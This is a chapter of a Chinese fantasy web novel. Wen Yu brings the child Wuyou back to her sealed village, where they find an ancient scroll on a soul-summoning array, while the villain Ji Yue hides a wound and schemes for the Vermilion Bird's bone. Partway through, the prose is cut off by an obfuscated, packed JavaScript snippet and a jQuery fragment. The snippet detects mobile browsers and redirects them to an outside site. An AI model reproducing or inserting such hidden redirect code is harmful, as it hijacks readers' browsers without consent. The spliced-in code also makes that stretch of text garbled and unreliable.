“婆婆原也是有过一个阿姐留下的护身符,只不过是根红红金金的羽毛。”无忧边说边将藏在衣领之下的那枚铜币翻出来,摊在指尖给闻昱看,她垂下眼帘盯着指尖上的铜币,低声道:“后来婆婆施了术法,羽毛就不见了,但是阿姐却回来了。”
闻昱眼睑低垂,对于无忧脖子上挂着的这枚护身符,他是熟悉的。当初不过是凌芜随口向他要过去的一枚普通铜钱,彼时他并不知凌芜在里面留了什么。可眼下,他却看的分明。闻昱放在桌面上的手指倏地蜷起,再开口时嗓音都有些发紧:“无忧,你可知......是什么术法?”
无忧这次却是摇了摇脑袋,她眨了眨眼又说:“但我知道那术法的出处!神官哥哥,你带我回趟风焱村吧。”
巫婆婆以术法迎回凌芜发生在朱雀神君消陨的百十来年之后,无忧口中那根金红色的羽毛应当就是季越一直要寻的朱雀羽。或许现如今,他们也能试试此法。季越自灵州之事后借口炼丹藏在宫中不现身,必是身上有什么变故。那他恰好可以借着这个机会带无忧回乡。闻昱垂眸凝视着眼中满是希冀的无忧,轻笑着点头道:“好。我们回风焱村。”
因着云栖宫还未解禁,而风焱村如今更是不欲其他人知晓的所在。是以闻昱只让霖墨帮着收拾打点了些行李,连千梦也被留在小筑等消息。晌午过后,闻昱便自己领着无忧去正殿向梁观山辞别。
“两个月。”梁观山负手站在殿门前,肃声说:“闻昱,你只有两个月时间。不论此行结果如何,你都需在这个时限内回来。”
闻昱的语气很平和:“弟子明白。京中一切还请师父代为留意。”
梁观山微微颔首道:“去吧。”
无忧牵紧闻昱的袖摆,也像模像样的同梁观山拜别,尔后便跟在闻昱身侧一步步下了山。
“国师大人,陛下身边的陈公公来取药了。”
计明远说完便默默地等在阁里的丹房外。他是异人阁中的一名从官,原也是跟在慕青晏身边的,只是那日搜寻红衣女时恰好身体不适未能跟去,竟歪打正着的保下了这条命。后来异人阁换了新主事,他又领了季越副手的职务。
如今昭京一派祥和,平日里计明远也不过是在阁里研读古籍,然后便是每隔七日帮陛下身边的近侍来向国师取丹药。
计明远垂首候在门外,果然没多会儿便听见屋内传来脚步声,门被轻轻地拉开,露出里面那人年轻苍白的脸。
季越伸手递过去一个釉彩的小瓷瓶,轻咳了两声:“交给陈公公吧,本官近日身体略感不适,你交代下去让他们不要靠近这里,免得扰我清净。”
计明远抬眼看去,季越的面色较之前似又白了几分,就连嘴唇也没什么血色。他赶忙应声:“下官这就去办。”
季越看着他走远了才回身将门紧紧合上,疾步走到里间的矮榻上盘膝坐下。他将双手掌心朝上平放在膝上,闭上双目调息。直等到外头日暮西垂,季越才忽然睁开了眼,眼眸之中尽是怒意。他轻轻揭开领口的衣物,心口处赫然是一道往外渗血的伤口,似箭伤,又似灼伤。
“到底是陵光神君,对自己也这么狠,拼着最后那点神力都要射出那一箭。要不是我留了后手,当真是要命丧赤羽箭下。”季越掩好衣领,冷冷的勾了下唇角:“不过,你既不在了。往后日子还长,我总有办法取得朱雀骨。”
一阵凉风拂过,天边的月牙倏地的掩在了云层之后。
夜,似乎更黑了。
——————————
栖凤山地处封州城外百里,附近也并无村镇,寻日里便很少有人。这天清晨,山下却来了两个人,一位身量颀长的俊朗公子牵着个头扎双髻的女童。
这一大一小正是赶了近一个月路的闻昱同无忧。自下了露微山,闻昱便雇了京中最快的马,但考虑到无忧年幼,只得改成马车赶路。就这么一路走一路在沿途驿站换马匹,才在这天清晨到了栖凤山脚下。
这会儿天色正亮,闻昱便同无忧径直进了山。没多久,便来到了一处岔路。无忧停下步子,伸手指着右手边那条小路轻声道:“哥哥,往那边去就是神庙......”
闻昱顺着无忧手指的方向望过去,果然远远地瞧见了没被枝叶遮掩住的庙檐一角。那日,他与凌芜便是因着一场雨偶然在庙里结识,想来也不是多么久远的事,却叫闻昱一时有些恍惚。
闻昱缓缓收回目光,柔声同无忧说:“走吧。”
无忧年纪虽小,但记性却很不错。一路引着闻昱往风焱村所在的那处山谷走,只是时值秋日,越往山林深处走,便越发寒凉。闻昱停下来,从随身的小包袱里取出一件杏色的毛领小披风,那是路上经过一个较大的州城时,闻昱特意给无忧买的。
闻昱蹲下身,将披风展开系在无忧身上,然后才牵着小姑娘的手继续走。山林之中湿气重,山路不免有些湿滑,他留意到适才一路上无忧走的有些不稳当,可她却并未言语。闻昱暗叹自打凌芜不在了之后,无忧这小姑娘乖巧的有些过头了。
沿着蜿蜒曲折的山路又走了小半日,二人才停在了一面巨大的山壁前。闻昱打量着眼前的石壁,看着倒也与别处并没有什么不一样,只是左右两侧各立着一尊巨石,恰似守门的巨兽。
闻昱伸手探了探那石壁,问道:“无忧,这便是村子的入口?”
无忧睁着溜圆的眼睛,郑重的点了下脑袋,然后便双手挽住闻昱的胳膊,一言不发的就拉着他往那山壁上撞。
闻昱下意识的闭了下眼,再睁眼时便看到了一座静谧的村落。他回身敲了下那面石壁,依旧是坚硬冰冷。闻昱顿时明白了,这山壁应是凌芜当初离开风焱村时留下的,为的是彻底让风焱村消失在世人眼中。
他一时沉浸在自己的思绪里,没留意到身旁的无忧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15839860|167462||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
悄悄的舒了口气,小声咕哝了句:“当日阿姐只说我能回来,却还没来得及告诉我怎么进这结界......幸好幸好。”
闻昱不知这是无忧莽撞的尝试,也并未多问便跟着她往村里走。无忧离开时是初春时分,眼下村里的景致早已染上了秋色。只是风焱村早已没人,除了偶尔传来的几声鸟鸣,便只有他二人踩在青石路上轻浅的脚步声。
“吱呀——”
无忧抬手推开了小路尽头那座小木屋的门,率先抬脚迈了进去。闻昱也跟在她身后,弯身进了门。这里面的陈设与他从前见过的屋舍都不一样,四周没什么窗扇,只在顶上开了个天窗,屋子里悬挂了不少交错的帷幔,都印着火焰图腾纹样。这会儿天光洒下来,正正好照亮了屋里正中央的一幅画。
那是......凌芜的画像,与当初他在神庙中见到的那幅一模一样。
“巫婆婆,无忧回来了。”无忧走到画像前的蒲团处,跪坐下来便念叨开了:“这位是阿姐的朋友,闻昱哥哥。阿姐她......无忧这次回来是想同您借一样东西,婆婆视我和阿姐为亲人,一定会同意的。”
闻昱撩开衣摆跪在无忧身旁,余光却瞄到她正在用手扒拉蒲团前的地毯。须臾,掀起的地毯一角下露出了个暗格,无忧起身跑到画像后面好一通捣鼓,闻昱便看到暗格倏地打开,里面是一卷发黄的羊皮书卷。
“哥哥,巫婆婆的术法便是从这里学来的。”无忧伸手将那书卷取出来,递到闻昱手中。
闻昱小心的摊开那书卷,入眼便是“燧明古卷”四个篆字。这羊皮卷应是年代颇为久远了,许多地方都有些模糊了,需得仔细辨认。只是这燧明古卷,闻昱竟从未听说过。
书卷倒是不长,闻昱细细观看之下,便发现里面记录了一些与朱雀相关的信息以及不少秘术,而在卷尾,却是详细记载了一个出自上古时期的阵法,名曰引魂阵。
无忧说,巫婆婆以术法换得消陨百十来年的凌芜重临凡世,但那根朱雀羽却消失了。闻昱想到古卷中有载,朱雀其身覆火,终生不熄,且一直是不死之身的象征,有传言说但凡有残骨片羽留存于世,便能借着神火引其魂赋其形。
凌芜曾与他说过,当年借了一缕神火给巫族,而朱雀羽是她留给巫婆婆的护身符,必然是与无忧身上这枚铜钱一般,附了她自己的一分神魂。
只是如今,朱雀羽已经消失,留存于世的只有镇于灵州的朱雀骨。且不说他有没有这个能耐破阵取回朱雀骨,若他当真为了换回凌芜这么做,不就与凌芜的意愿背道而驰了么。
凌芜以身祭阵,必是因着那地方极其危险。所以,朱雀骨决计不能离开那里。如此一来,巫婆婆当初的秘术便就行不通了。
思及此,闻昱眉心微蹙,只得沉下心垂眸又将手里的古卷从头至尾的仔细研读了一遍。倏地,他意识到,或许引魂阵会是个办法。